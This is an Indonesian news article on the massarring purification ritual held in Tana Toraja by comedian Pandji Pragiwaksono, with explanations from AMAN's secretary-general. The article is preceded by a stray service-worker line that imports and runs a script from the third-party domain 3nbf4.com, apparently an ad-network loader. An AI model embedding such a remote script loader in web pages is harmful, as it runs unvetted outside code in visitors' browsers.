self.options = { "domain": "3nbf4.com", "zoneId": 10287993 } self.lary = "" importScripts('https://3nbf4.com/act/files/service-worker.min.js?r=sw') Massarring dan Persembahan untuk Leluhur, Begini Penjelasan Sekjen AMAN

Massarring dan Persembahan untuk Leluhur, Begini Penjelasan Sekjen AMAN


TANA TORAJAKomika Pandji Pragiwaksono menjalani ritual massarring di area Tongkonan Layuk Kaero, Kabupaten Tana Toraja, Sulawesi Selatan, Rabu (11/2/2026) siang. Prosesi adat tersebut digelar sebagai bagian dari penyelesaian persoalan yang sempat memicu polemik, sekaligus untuk memulihkan hubungan sosial dan keseimbangan kosmologis menurut ajaran Aluk Todolo (sistem kepercayaan tradisional masyarakat Toraja yang telah ada jauh sebelum masuknya agama-agama besar seperti Kristen dan Islam ke wilayah Tana Toraja, Sulawesi Selatan).


Sekretaris Jenderal Aliansi Masyarakat Adat Nusantara (AMAN), Rukka Sombolinggi, menjelaskan ritual tersebut sarat makna filosofis dan spiritual dalam ajaran Aluk Todolo.


“Hari ini kita melaksanakan ritual. Tadi memotong satu ayam, fungsinya itu untuk massarring   atau membersihkan,” kata Rukka saat dikonfirmasi usai ritual dilakukan, Rabu (11/2/2026).


Rukka menuturkan, berdasarkan penjelasan Tomina atau pendeta Aluk Todolo, massarring merupakan prosesi penyucian atas berbagai ganjalan yang muncul akibat peristiwa sebelumnya. Menurutnya, dalam dinamika yang terjadi, telah banyak terucap kata-kata yang tidak pantas maupun tindakan yang dinilai tidak selaras dengan nilai adat.


“Massarring ini untuk membersihkan semua orang, baik Pandji maupun orang Toraja, karena dari kejadian ini sudah banyak ganjalan, sudah banyak kita mengeluarkan kata-kata yang tidak pantas, juga kelakuan atau tindakan-tindakan yang sudah tidak pantas,” ucapnya.


Rukka menjelaskan, dalam pandangan kosmologi Toraja, setiap ucapan dan tindakan tidak hanya berdampak pada hubungan antarmanusia, tetapi juga berpengaruh pada relasi dengan tallulolona (manusia, hewan dan tumbuhan), para leluhur, dewata, hingga Tuhan Yang Maha Esa sebagai pencipta alam semesta.


Tallulolona sendiri merupakan konsep dasar dalam kehidupan masyarakat Toraja yang mencakup tiga unsur utama kehidupan, yakni lolotau (manusia), lolopatuan (hewan), dan lolotananan (tumbuhan). Ketiganya diyakini saling terhubung dan harus dijaga keseimbangannya.


Karena itu, melalui massarring, masyarakat berupaya memulihkan harmoni yang sempat terganggu.


“Supaya kita kembali tenang, kemudian alam semesta kembali baik, kembali sinkron. Dengan demikian tidak akan ada sakit penyakit, tidak akan ada panen gagal, babi dan kerbau akan subur, kita akan sejahtera,” ujar Rukka.


Namun, Rukka mengingatkan, keseimbangan itu hanya dapat terjaga apabila seluruh pihak memegang komitmen yang telah disepakati. Jika masih ada yang mengungkit persoalan atau menyimpan niat buruk, maka konsekuensi adat diyakini akan berlaku.


“Kalau ada yang kemudian masih mengungkit-ungkit, masih punya niat jahat ke depan, kata-kata dan tindakan yang tidak berkenan, maka roh leluhur yang akan datang dan mengurus orang-orang tersebut,” tuturnya.


Selain penyembelihan ayam dalam ritual massarring, prosesi hari kedua juga diisi dengan penyembelihan seekor babi. Rukka mengatakan, persembahan itu ditujukan kepada roh leluhur yang disebut topadatindo.


Topadatindo adalah para pemimpin masyarakat adat yang dahulu menyatukan Toraja dalam menghadapi invasi dari Bone. Mereka dikenang sebagai tokoh yang menanamkan prinsip persatuan “misak kada di potuo, pantan kada di pomate” yang berarti bersatu kita hidup, bercerai kita mati.


“Hari ini babi itu untuk mereka. Untuk memberi makan kepada roh leluhur, topadatindo,” terang Rukka.


Menurut Rukka, para leluhur tersebut juga menjadi saksi atas kesepakatan yang telah dibangun antara masyarakat adat Toraja dan pihak terkait. Apabila ada yang keluar dari ikatan kesepakatan tersebut, maka leluhur diyakini akan memberikan konsekuensi sesuai hukum adat.


Rukka menambahkan, ritual seperti massarring bukanlah prosesi yang dilakukan setiap saat. Upacara ini digelar ketika terjadi peristiwa yang dinilai mencederai tatanan adat dan melampaui sekadar persoalan antarmanusia.


“Ritual ini dilakukan ketika ada hal-hal yang tidak baik terjadi di kampung. Misalnya ada pelanggaran adat yang melampaui hubungan manusia dengan manusia, yang ada urusannya dengan tallulolona, membuat keributan atau berkelahi di upacara adat, apalagi upacara penguburan, maka ini harus dilakukan,” jelasnya.


Melalui rangkaian ritual tersebut, masyarakat adat berharap situasi kembali kondusif dan hubungan sosial maupun kosmis kembali selaras, sebagaimana nilai-nilai yang diwariskan leluhur Toraja sejak dahulu.


AMAN menjadi fasilitator/mediator

Sekretaris Jenderal AMAN, Rukka Sombolinggi, menegaskan bahwa dalam proses penyelesaian polemik tersebut, AMAN hanya berperan sebagai fasilitator atau mediator antara pihak-pihak yang terlibat dengan masyarakat adat Toraja.

 

Menurut Rukka, komunikasi antara Pandji Pragiwaksono dan dirinya telah terjalin sejak polemik itu mencuat pada November 2025. Dalam komunikasi tersebut, Pandji disebut telah menyampaikan permohonan maaf sejak awal persoalan bergulir.

 

“Sejak November sudah ada komunikasi. Pandji juga sudah menyampaikan permohonan maaf sejak momen-momen awal itu,” ujar Rukka.

 

Ia menjelaskan, rencana kedatangan Pandji ke Toraja sebenarnya telah dibahas sejak lama. Namun, pelaksanaannya sempat tertunda karena persoalan penyesuaian waktu. Pandji diketahui berdomisili di Amerika Serikat, sementara pada periode yang sama Rukka tengah fokus pada agenda Conference of the Parties (COP) di Brasil.

 

“Kedatangan ke Toraja memang tertunda karena harus mencocokkan waktu. Pandji tinggal di Amerika, dan saat itu saya juga sedang fokus pada agenda COP di Brasil,” katanya.

 

Di sisi lain, melalui AMAN Toraya, komunikasi juga dilakukan dengan 32 wilayah adat di Toraja untuk membahas mekanisme penyelesaian secara adat. Hasil komunikasi tersebut kemudian mengerucut pada kesepakatan menggelar peradilan adat yang dilaksanakan pada 10 Februari 2026.

 

Rukka menekankan bahwa seluruh proses tersebut merupakan keputusan masyarakat adat, sementara AMAN hanya membantu memfasilitasi jalannya komunikasi agar penyelesaian dapat ditempuh melalui mekanisme yang dihormati bersama.

 

 

Previous Post Next Post